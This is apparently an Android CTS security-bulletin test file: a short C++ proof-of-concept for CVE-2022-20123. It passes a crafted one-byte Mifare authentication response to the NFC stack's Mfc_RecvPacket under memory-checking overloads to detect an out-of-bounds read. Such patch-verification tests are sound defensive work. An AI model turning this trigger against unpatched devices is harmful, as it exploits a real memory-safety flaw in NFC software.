hostsidetests/securitybulletin/securityPatch/CVE-2022-20123/poc.cpp

/*
 * Copyright (C) 2022 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at:
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */

#include <unistd.h>
#include <vector>
#include "../includes/common.h"
#include "../includes/memutils.h"
#include "phNxpExtns_MifareStd.h"

bool testInProgress = false;
char enable_selective_overload = ENABLE_NONE;
struct sigaction new_action, old_action;

void sigsegv_handler(int signum, siginfo_t *info, void *context) {
    if (testInProgress && info->si_signo == SIGSEGV) {
        (*old_action.sa_sigaction)(signum, info, context);
        return;
    }
    _exit(EXIT_FAILURE);
}

int main() {
    sigemptyset(&new_action.sa_mask);
    new_action.sa_flags = SA_SIGINFO;
    new_action.sa_sigaction = sigsegv_handler;
    sigaction(SIGSEGV, &new_action, &old_action);
    constexpr int32_t size = 16;
    constexpr int32_t index = 1;
    enable_selective_overload = ENABLE_ALL;
    std::vector<uint8_t> bufferVector(size);
    uint8_t *buffer = bufferVector.data();
    FAIL_CHECK(buffer);
    buffer[size - 1] = phNciNfc_e_MfcAuthRsp;
    phNxpExtns_MfcModuleInit();
    testInProgress = true;
    Mfc_RecvPacket(&buffer[size - 1], index);
    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
    testInProgress = false;
    return EXIT_SUCCESS;
}